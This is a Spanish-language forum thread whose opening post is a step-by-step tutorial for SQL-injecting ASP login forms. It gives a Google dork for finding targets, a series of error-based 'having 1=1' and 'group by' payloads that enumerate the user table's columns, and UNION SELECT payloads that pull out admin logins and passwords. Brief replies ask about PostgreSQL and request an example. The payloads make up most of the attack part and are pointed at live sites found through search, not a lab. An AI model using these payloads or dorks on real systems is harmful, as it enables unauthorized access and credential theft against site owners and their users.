Título: Inyección SQL a Login ASP Publicado por: Stuxnet en 3 Septiembre 2013, 05:54 am (http://3.bp.blogspot.com/-dIS2rHtJFwk/UTf6PehbsFI/AAAAAAAABjI/wL6Myv4CYho/s1600/sqli.gif) La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación. Dork: inurl:login.asp En el en campo "Clave de Acceso" y "Password" del login escribimos: Código: ' having 1= 1-- (http://1.bp.blogspot.com/-J7k1oJHoSgg/UTf8JRg4JfI/AAAAAAAABjg/ArO-9DbG5i4/s1600/sql_asp.png) Al hacerlo nos dara el seguiente error: (http://1.bp.blogspot.com/-tj8MihADRKU/UTf8LUX5sLI/AAAAAAAABj8/ghaDKC8jsJU/s1600/sql_asp_1.png) Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave having 1 = 1-- Hacemos la inyección y el siguiente error sera así: (http://2.bp.blogspot.com/-54FqhoO1cEk/UTf8K2HEwAI/AAAAAAAABjo/ru7vDpfUO1Y/s1600/sql_asp_2.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre having 1=1-- Hacemos la inyección y el siguiente error sera así: (http://4.bp.blogspot.com/-TMaovgAAN8I/UTf8LmYvvdI/AAAAAAAABkA/yC-h9VsAThI/s1600/sql_asp_3.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1-- Hacemos la inyección y el siguiente error sera así: (http://4.bp.blogspot.com/-qtDfNyNdz34/UTf8Ohdw2sI/AAAAAAAABko/LCTSp96cqFs/s1600/sql_asp_4.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1-- Hacemos la inyección y el siguiente error sera así: (http://1.bp.blogspot.com/-un-25yMb0jw/UTf8M8hsWtI/AAAAAAAABkI/XaxayvylfQo/s1600/sql_asp_5.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1-- Hacemos la inyección y el siguiente error sera así: (http://3.bp.blogspot.com/-t4rvrx29cnQ/UTf8NTt8lBI/AAAAAAAABkQ/btQQfI4T3nw/s1600/sql_asp_6.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1-- Hacemos la inyección y el siguiente error sera así: (http://2.bp.blogspot.com/-om2chci_rsA/UTf8JXDjOxI/AAAAAAAABjc/OpcJ-8i-qJI/s1600/slq_asp_7.png) Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos: Código: ' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1-- Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas. (http://3.bp.blogspot.com/-IwAatK6XkPM/UTgCsnt37_I/AAAAAAAABk4/4S5KPFGP0gQ/s1600/sql_login_asp.png) Nuestra siguiente inyección sera de esta forma: Código: ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'-- Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos. La posión de los unos puede varia un ejemplo podría ser: Código: ' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'-- (http://4.bp.blogspot.com/-5YbxfL6Uyng/UTf8N9E22xI/AAAAAAAABkY/DQuje9yCVAA/s1600/sql_asp_8.png) Curiosamente al hacer la inyección de esta forma tenemos el acceso: Código: ' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'-- (http://1.bp.blogspot.com/-7j5HvUOoJaQ/UTf8LU5-RoI/AAAAAAAABj0/r6jbDcfn5tk/s1600/panel.png) La inyección para que les arroje la password es: Código: ' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'-- (http://2.bp.blogspot.com/-3CaHjaffQfY/UTf8ObZN1OI/AAAAAAAABkg/V3fUJbMhFQ0/s1600/sql_asp_9.png) Título: Re: Inyección SQL a Login ASP Publicado por: Gabow135 en 4 Septiembre 2013, 15:41 pm hola muy bueno tu manual pero el SQL inyect para asp.net solo funciona si la base de datos esta en sql server xq estoy probando contra posgresql y no funciona nada :( tienes algo contra posgresql??
saludos Título: Re: Inyección SQL a Login ASP Publicado por: Novlucker en 4 Septiembre 2013, 16:43 pm ASP != ASP.NET
Título: Re: Inyección SQL a Login ASP Publicado por: misterioo en 3 Octubre 2013, 04:37 am ¿Puedo ver un ejemplo? (http://www.freeimagehost.info/files/img/user_uploads/displayimage.php?id=dpecj8qo4u07013969.gif) |